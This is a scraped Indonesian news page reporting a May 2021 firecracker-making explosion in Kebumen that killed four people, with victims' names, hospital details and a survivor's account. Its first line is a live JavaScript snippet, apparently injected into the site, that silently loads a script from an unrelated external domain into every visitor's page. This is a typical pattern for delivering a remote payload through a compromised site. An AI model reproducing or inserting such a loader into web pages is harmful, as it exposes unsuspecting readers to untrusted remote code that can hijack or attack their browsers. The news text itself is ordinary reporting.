(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tragedi Mercon Maut di Kebumen, 4 Orang Tewas, Ini Kronologinya


KANALKALIMANTAN.COM – Tragedi mercon maut menewaskan empat orang di Desa Ngabean, Kecamatan Mirit, Kebumen, Rabu (12/5/2021) sore. Peristiwa itu tentu saja menyisakan duka mendalam jelang lebaran Idul Fitri.

Ditambah korban meninggal akibat ledakan dalam pembuatan petasan di Desa Ngabean, Mirit, Kabupaten Kebumen, bertambah 1 orang menjadi 4 orang.

Semula peristiwa mercon maut di Kebumen itu hanya menewaskan tiga orang yakni Muhammad Taufik Hidayat (27), Rizky Efendi (21), dan Rio Dwi Pangestu (22). Namun, terbaru korban meninggal bertambah satu orang.

Dokter jaga IGD Rumah Sakit Daerah (RSUD) Prembun Kabupaten Kebumen Eri Dia di Kebumen, pada Kamis (13/5/2021), mengatakan korban meninggal akibat ledakan petasan di Desa Ngabean Kabupaten Kebumen bertambah satu orang atas nama Sugiyanto.

Baca Juga:
806 Warga Binaan Lapas Banjarbaru Dapat Remisi Idul Fitri

Ia mengatakan korban Sugiyanto meninggal pada pukul 07.40 WIB di RSUD Prembun dengan luka parah di bagian tangan dan kaki hancur serta luka bakar di sekujur tubuhnya.

Ledakan petasan di Desa Ngabean yang terjadi pada Rabu (12/5) sekitar pukul 17.30 WIB tersebut, sebelumnya telah merenggut tiga korban meninggal, yakni Muhammad Taufik Hidayat (27), Rizky (19) dan Rio Dwi Pangestu (22).

Dengan meninggalnya Sugianto, maka korban luka-luka yang masih dirawat di RSUD Prembun atas nama Bambang Priyono (29), sedangkan korban luka-luka yang lain Irwan dan Ratna telah diizinkan pulang pada Kamis pagi.

Kronologi

Bambang Priyono yang masih dirawat di ruang IGD RSUD Prembun mengalami luka bakar pada bagian wajah dan sekujur tubuhnya.

Baca Juga:
Bupati HSU Bersama Warga Shalat Id di Masjid Raya Amuntai 

Bambang mengungkapkan saat kejadian dirinya bersama enam temannya sedang mengisikan bubuk petasan ke gulungan kertas.

“Tidak diketahui pasti berasal dari apa, tiba-tiba saja tumpukan petasan yang sudah terisi bubuk petasan meledak keras. Saat itu saya berada sedikit jauh dari tumpukan petasan yang meledak,” katanya.

Tim Labfor Polda Jateng dipimpin AKBP Rostiawan Apriyanto Kamisi ini mendatangi lokasi ledakan untuk melakukan olah tempat kejadian perkara. Tim Labfor mengamankan sebuah cobek, bungkus rokok, dan korek api. (suara.com)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.